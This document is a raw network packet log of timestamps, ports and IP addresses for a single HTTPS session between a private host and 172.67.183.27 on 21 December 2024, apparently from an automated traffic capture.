Dec 21, 2024 20:13:43.605866909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.615008116 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.615061045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.621870041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.621921062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.628628016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.628681898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.635343075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.635394096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.642199993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.642255068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.648854017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.648904085 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.662355900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.662409067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.668989897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.669038057 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.674040079 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.674098969 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.679038048 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.679085970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.683801889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.683867931 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.693897009 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.693958044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.693965912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.694001913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.699192047 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.699237108 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.704150915 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.704205036 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.709352016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.709399939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.713936090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.713990927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.722405910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.722459078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.726722002 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.726768017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.731015921 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.731065035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.778424025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.778470039 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.794729948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.794780970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.796691895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.796744108 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.802617073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.802664995 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.807342052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.807391882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.811599016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.811645031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.820101976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.820151091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.824424982 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.824479103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.829009056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.829056978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.835952044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.836014032 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.843310118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.843364954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.846849918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.846900940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.850554943 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.850600958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.854249001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.854295015 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.856297016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.856343031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.860919952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.860970020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.863128901 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.863187075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.867538929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.867593050 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.869792938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.869847059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.872209072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.872261047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.875613928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.875668049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.877729893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.877788067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.882451057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.882517099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.884572029 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.884624004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.889081955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.889134884 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.891428947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.891484976 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.893630028 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.893687963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.896096945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.896162033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.898308992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.898356915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.902723074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.902772903 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.959151030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.959220886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.961505890 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.961564064 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.987931013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.988009930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.989878893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.989931107 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.992234945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.992283106 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.994393110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.994443893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.996711016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.996757030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.000824928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.000917912 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.003046036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.003093004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.005259991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.005314112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.007590055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.007637978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.009836912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.009885073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.020869017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.020875931 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.020935059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.020942926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.020988941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.025011063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.025068045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.027095079 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.027152061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.029228926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.029285908 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.031305075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.031358004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.037138939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.037198067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.041359901 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.041410923 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.043404102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.043462038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.047228098 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.047278881 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.049287081 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.049343109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.050487995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.050550938 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.054301023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.054352999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.056365967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.056417942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.060554981 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.060611010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.060628891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.060677052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.062616110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.062659979 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.065934896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.066000938 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.066135883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.066198111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.069063902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.069122076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.070554972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.070605993 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.072009087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.072062969 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.074985027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.075042963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.076522112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.076571941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.077802896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.077850103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.152760983 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.152825117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.152833939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.152877092 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.179227114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.179282904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.179502010 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.179553986 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.181267023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.181339025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.182929993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.182991028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.184272051 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.184324980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.186647892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.186718941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.187762022 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.187828064 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.190613031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.190665007 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.191823006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.191869020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.194257021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.194302082 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.195604086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.195673943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.196846008 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.196918964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.198297977 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.198353052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.199695110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.199769020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.200876951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.200927019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.203361034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.203414917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.204591036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.204638958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.206980944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.207036972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.208129883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.208178043 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.209574938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.209629059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.211011887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.211064100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.212176085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.212227106 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.214345932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.214390993 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.215481997 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.215538025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.216686964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.216738939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.218552113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.218601942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.219808102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.219866037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.226140976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.226193905 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.226222992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.226269960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.226285934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.234210014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.234226942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.234261990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.234271049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.234294891 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.241662979 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.241720915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.241731882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.241779089 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.344692945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.344755888 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.371530056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.371591091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.371623993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.371665955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.372773886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.372826099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.374906063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.374952078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.376111984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.376163006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.377511024 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.377558947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.378746986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.378798962 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.379915953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.379966974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.382157087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.382200003 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.383533001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.383584976 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.384610891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.384659052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.385771036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.385812998 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.387208939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.387258053 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.391849995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.391910076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.391921043 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.394265890 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.394313097 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.394320965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.394357920 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.395339012 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.395401001 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.396586895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.396644115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.397639036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.397685051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.405025959 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.405042887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.405095100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.405102015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.408910990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.408982038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.408988953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.409030914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.409832954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.409884930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.412051916 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.412141085 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.412997007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.413070917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.414073944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.414125919 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.415294886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.415344954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.417303085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.417350054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.418447018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.418504000 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.419440985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.419497967 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.424927950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.424997091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.425003052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.425050020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.425976038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.426032066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.535612106 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.535698891 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.536750078 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.536801100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.563821077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.563888073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.569603920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.569621086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.569667101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.569679976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.569693089 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.574697971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.574755907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.574760914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.574804068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.576831102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.576890945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.578437090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.578480005 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:44.578994036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:44.579051018 CET	49737	443	192.168.2.4	172.67.183.27
